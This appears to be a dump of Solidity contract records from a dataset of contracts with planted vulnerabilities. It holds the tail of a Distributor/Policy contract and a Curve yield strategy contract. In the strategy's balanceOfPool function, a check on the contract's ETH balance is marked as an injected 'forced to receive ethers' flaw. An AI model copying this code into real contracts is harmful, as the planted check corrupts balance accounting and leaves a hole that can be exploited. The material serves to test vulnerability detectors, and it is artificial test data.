return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IPolicy {
function policy() external view returns (address);
function renouncePolicy() external;
function pushPolicy(address newPolicy_) external;
function pullPolicy() external;
}
contract Policy is IPolicy {
address internal _policy;
address internal _newPolicy;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_policy = msg.sender;
emit OwnershipTransferred(address(0), _policy);
}
function policy() public view override returns (address) {
return _policy;
}
modifier onlyPolicy() {
require(_policy == msg.sender, "Ownable: caller is not the owner");
_;
}
function renouncePolicy() public virtual override onlyPolicy() {
emit OwnershipTransferred(_policy, address(0));
_policy = address(0);
}
function pushPolicy(address newPolicy_) public virtual override onlyPolicy() {
require(newPolicy_ != address(0), "Ownable: new owner is the zero address");
_newPolicy = newPolicy_;
}
function pullPolicy() public virtual override {
require(msg.sender == _newPolicy);
emit OwnershipTransferred(_policy, _newPolicy);
_policy = _newPolicy;
}
}
interface ITreasury {
function mintRewards(address _recipient, uint _amount) external;
}
contract Distributor is Policy {
using SafeMath for uint;
using SafeERC20 for IERC20;
address public immutable HEC;
address public immutable treasury;
uint public immutable epochLength;
uint public nextEpochBlock;
mapping(uint => Adjust) public adjustments;
struct Info {
uint rate; // in ten-thousandths (5000 = 0.5%)
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
constructor(address _treasury, address _hec, uint _epochLength, uint _nextEpochBlock) {
require(_treasury != address(0));
treasury = _treasury;
require(_hec != address(0));
HEC = _hec;
epochLength = _epochLength;
nextEpochBlock = _nextEpochBlock;
}
function distribute() external returns (bool) {
if (nextEpochBlock <= block.number) {
nextEpochBlock = nextEpochBlock.add(epochLength); // set next epoch block
// distribute rewards to each recipient
for (uint i = 0; i < info.length; i++) {
if (info[ i ].rate > 0) {
ITreasury(treasury).mintRewards(// mint and send from treasury
info[ i ].recipient,
nextRewardAt(info[ i ].rate));
adjust(i); // check for adjustment
}
}
return true;
} else {
return false;
}
}
function adjust(uint _index) internal {
Adjust memory adjustment = adjustments[ _index ];
if (adjustment.rate != 0) {
if (adjustment.add) { // if rate should increase
info[ _index ].rate = info[ _index ].rate.add(adjustment.rate); // raise rate
if (info[ _index ].rate >= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
} else { // if rate should decrease
info[ _index ].rate = info[ _index ].rate.sub(adjustment.rate); // lower rate
if (info[ _index ].rate <= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
}
}
}
function nextRewardAt(uint _rate) public view returns (uint) {
return IERC20(HEC).totalSupply().mul(_rate).div(1000000);
}
function nextRewardFor(address _recipient) public view returns (uint) {
uint reward;
for (uint i = 0; i < info.length; i++) {
if (info[ i ].recipient == _recipient) {
reward = nextRewardAt(info[ i ].rate);
}
}
return reward;
}
function addRecipient(address _recipient, uint _rewardRate) external onlyPolicy() {
require(_recipient != address(0));
info.push(Info({
recipient: _recipient,
rate: _rewardRate
}));
}
function removeRecipient(uint _index, address _recipient) external onlyPolicy() {
require(_recipient == info[ _index ].recipient);
info[ _index ].recipient = address(0);
info[ _index ].rate = 0;
}
function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyPolicy() {
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
}
| 332,997 | 11,198 |
d1e923af48b1a8575f4f699d2a38321922d7a9d827f39814754187cf811de7c8
| 28,186 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
injectedContractDataSet/forcedToReceiveEthers/0xe39C5aF1A59b95041F11bCA757870D72C5134AdF_forcedToReceiveEthers.sol
| 4,865 | 18,061 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
//
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
//
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
//
interface ICurveFi {
function get_virtual_price() external view returns (uint256);
function add_liquidity(// sBTC pool
uint256[3] calldata amounts,
uint256 min_mint_amount) external;
function add_liquidity(// bUSD pool
uint256[4] calldata amounts,
uint256 min_mint_amount) external;
function remove_liquidity_imbalance(uint256[4] calldata amounts, uint256 max_burn_amount) external;
function remove_liquidity(uint256 _amount, uint256[4] calldata amounts) external;
function exchange(int128 from,
int128 to,
uint256 _from_amount,
uint256 _min_to_amount) external;
}
interface ICurveDeposit {
function get_virtual_price() external view returns (uint256);
function add_liquidity(// renBTC pool
uint256[2] calldata amounts,
uint256 min_mint_amount) external;
function add_liquidity(// sBTC pool
uint256[3] calldata amounts,
uint256 min_mint_amount) external;
function add_liquidity(// bUSD pool
uint256[4] calldata amounts,
uint256 min_mint_amount) external;
function remove_liquidity_one_coin(uint256 _amount, int128 _i, uint256 _min_uamount) external;
function remove_liquidity_one_coin(uint256 _amount, int128 _i, uint256 _min_uamount, bool _donate_dust) external;
function remove_liquidity(uint256 _amount, uint256[4] calldata amounts) external;
function exchange(int128 from,
int128 to,
uint256 _from_amount,
uint256 _min_to_amount) external;
function calc_withdraw_one_coin(uint256 _amount, int128 _index) external view returns(uint256);
}
//
interface Gauge {
function deposit(uint256) external;
function balanceOf(address) external view returns (uint256);
function withdraw(uint256) external;
}
//
interface Uni {
function swapExactTokensForTokens(uint256,
uint256,
address[] calldata,
address,
uint256) external;
}
interface IController {
function withdraw(address, uint256) external;
function balanceOf(address) external view returns (uint256);
function earn(address, uint256) external;
function want(address) external view returns (address);
function rewards() external view returns (address);
function vaults(address) external view returns (address);
}
//
interface Mintr {
function mint(address) external;
}
//
contract StrategyCurve2TokenPool {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
uint256 public constant N_COINS = 2;
uint256 public immutable WANT_COIN_INDEX;
address public immutable want;
address public immutable crvLP;
address public immutable curveDeposit;
address public immutable gauge;
address public immutable mintr;
address public immutable crv;
address public immutable uni;
// used for crv <> weth <> dai route
address public immutable weth;
string private name;
// renBTC, wBTC
address[N_COINS] public coins;
uint256[N_COINS] public ZEROS = [uint256(0),uint256(0)];
uint256 public performanceFee = 500;
uint256 public immutable performanceMax = 10000;
uint256 public withdrawalFee = 0;
uint256 public immutable withdrawalMax = 10000;
address public governance;
address public controller;
address public timelock;
constructor
(address _controller,
string memory _name,
uint256 _wantCoinIndex,
address[N_COINS] memory _coins,
address _curveDeposit,
address _gauge,
address _crvLP,
address _crv,
address _uni,
address _mintr,
address _weth,
address _timelock)
public
{
governance = msg.sender;
controller = _controller;
name = _name;
WANT_COIN_INDEX = _wantCoinIndex;
want = _coins[_wantCoinIndex];
coins = _coins;
curveDeposit = _curveDeposit;
gauge = _gauge;
crvLP = _crvLP;
crv = _crv;
uni = _uni;
mintr = _mintr;
weth = _weth;
timelock = _timelock;
}
function getName() external view returns (string memory) {
return name;
}
function setWithdrawalFee(uint256 _withdrawalFee) external {
require(msg.sender == governance, "!governance");
require(_withdrawalFee < withdrawalMax, "inappropriate withdraw fee");
withdrawalFee = _withdrawalFee;
}
function setPerformanceFee(uint256 _performanceFee) external {
require(msg.sender == governance, "!governance");
require(_performanceFee < performanceMax, "inappropriate performance fee");
performanceFee = _performanceFee;
}
function deposit() public {
_deposit(WANT_COIN_INDEX);
}
function _deposit(uint256 _coinIndex) internal {
require(_coinIndex < N_COINS, "index exceeded bound");
address coinAddr = coins[_coinIndex];
uint256 wantAmount = IERC20(coinAddr).balanceOf(address(this));
if (wantAmount > 0) {
IERC20(coinAddr).safeApprove(curveDeposit, 0);
IERC20(coinAddr).safeApprove(curveDeposit, wantAmount);
uint256[N_COINS] memory amounts = ZEROS;
amounts[_coinIndex] = wantAmount;
// TODO: add minimun mint amount if required
ICurveDeposit(curveDeposit).add_liquidity(amounts, 0);
}
uint256 crvLPAmount = IERC20(crvLP).balanceOf(address(this));
if (crvLPAmount > 0) {
IERC20(crvLP).safeApprove(gauge, 0);
IERC20(crvLP).safeApprove(gauge, crvLPAmount);
Gauge(gauge).deposit(crvLPAmount);
}
}
// Withdraw all funds, normally used when migrating strategies
function withdrawAll() external returns (uint256 balance) {
require(msg.sender == controller, "!controller");
uint256 _amount = Gauge(gauge).balanceOf(address(this));
Gauge(gauge).withdraw(_amount);
IERC20(crvLP).safeApprove(curveDeposit, 0);
IERC20(crvLP).safeApprove(curveDeposit, _amount);
// TODO: add minimun mint amount if required
ICurveDeposit(curveDeposit).remove_liquidity_one_coin(_amount, int128(WANT_COIN_INDEX), 0);
balance = IERC20(want).balanceOf(address(this));
address _vault = IController(controller).vaults(address(want));
require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
IERC20(want).safeTransfer(_vault, balance);
}
function withdraw(uint256 _amount) external {
require(msg.sender == controller, "!controller");
uint256 _balance = IERC20(want).balanceOf(address(this));
if (_balance < _amount) {
_withdrawSome(_amount.sub(_balance));
_amount = IERC20(want).balanceOf(address(this));
}
uint256 _fee = _amount.mul(withdrawalFee).div(withdrawalMax);
IERC20(want).safeTransfer(IController(controller).rewards(), _fee);
address _vault = IController(controller).vaults(address(want));
require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
IERC20(want).safeTransfer(_vault, _amount.sub(_fee));
}
function _withdrawSome(uint256 _amount) internal {
uint256 rate = ICurveDeposit(curveDeposit).calc_withdraw_one_coin(10**18, int128(WANT_COIN_INDEX));
_amount = _amount.mul(10**18).div(rate);
if(_amount > balanceOfGauge()) {
_amount = balanceOfGauge();
}
Gauge(gauge).withdraw(_amount);
IERC20(crvLP).safeApprove(curveDeposit, 0);
IERC20(crvLP).safeApprove(curveDeposit, _amount);
// TODO: add minimun mint amount if required
ICurveDeposit(curveDeposit).remove_liquidity_one_coin(_amount, int128(WANT_COIN_INDEX), 0);
}
// Controller only function for creating additional rewards from dust
function withdraw(IERC20 _asset) external returns (uint256 balance) {
require(msg.sender == controller, "!controller");
for(uint i = 0; i < N_COINS; ++i) {
require(coins[i] != address(_asset), "internal token");
}
require(crv != address(_asset), "crv");
require(crvLP != address(_asset), "crvLP");
balance = _asset.balanceOf(address(this));
_asset.safeTransfer(controller, balance);
}
function harvest(uint _coinIndex) public {
require(_coinIndex < N_COINS, "index exceeded bound");
Mintr(mintr).mint(gauge);
address harvestingCoin = coins[_coinIndex];
uint256 _crv = IERC20(crv).balanceOf(address(this));
if (_crv > 0) {
IERC20(crv).safeApprove(uni, 0);
IERC20(crv).safeApprove(uni, _crv);
address[] memory path = new address[](3);
path[0] = crv;
path[1] = weth;
path[2] = harvestingCoin;
// TODO: add minimun mint amount if required
Uni(uni).swapExactTokensForTokens(_crv, uint256(0), path, address(this), now.add(1800));
}
uint256 harvestAmount = IERC20(harvestingCoin).balanceOf(address(this));
if (harvestAmount > 0) {
uint256 _fee = harvestAmount.mul(performanceFee).div(performanceMax);
IERC20(harvestingCoin).safeTransfer(IController(controller).rewards(), _fee);
_deposit(_coinIndex);
}
}
function balanceOfWant() public view returns (uint256) {
return IERC20(want).balanceOf(address(this));
}
function balanceOfGauge() public view returns (uint256) {
return Gauge(gauge).balanceOf(address(this));
}
function balanceOfPool() public view returns (uint256) {
uint256 gaugeBalance = balanceOfGauge();
// NOTE: this is for curve ren pool only, since calc_withdraw_one_coin
// would raise error when input 0 amount
if(address(this).balance == 0){ //inject FORCED TO RECEIVE ETHERS
return 0;
}
return ICurveDeposit(curveDeposit).calc_withdraw_one_coin(gaugeBalance, int128(WANT_COIN_INDEX));
}
function balanceOf() public view returns (uint256) {
return balanceOfWant().add(balanceOfPool());
}
function setGovernance(address _governance) external {
require(msg.sender == timelock, "!timelock");
governance = _governance;
}
function setController(address _controller) external {
require(msg.sender == timelock, "!timelock");
controller = _controller;
}
function setTimelock(address _timelock) public {
require(msg.sender == timelock, "!timelock");
timelock = _timelock;
}
}
| 279,658 | 11,199 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.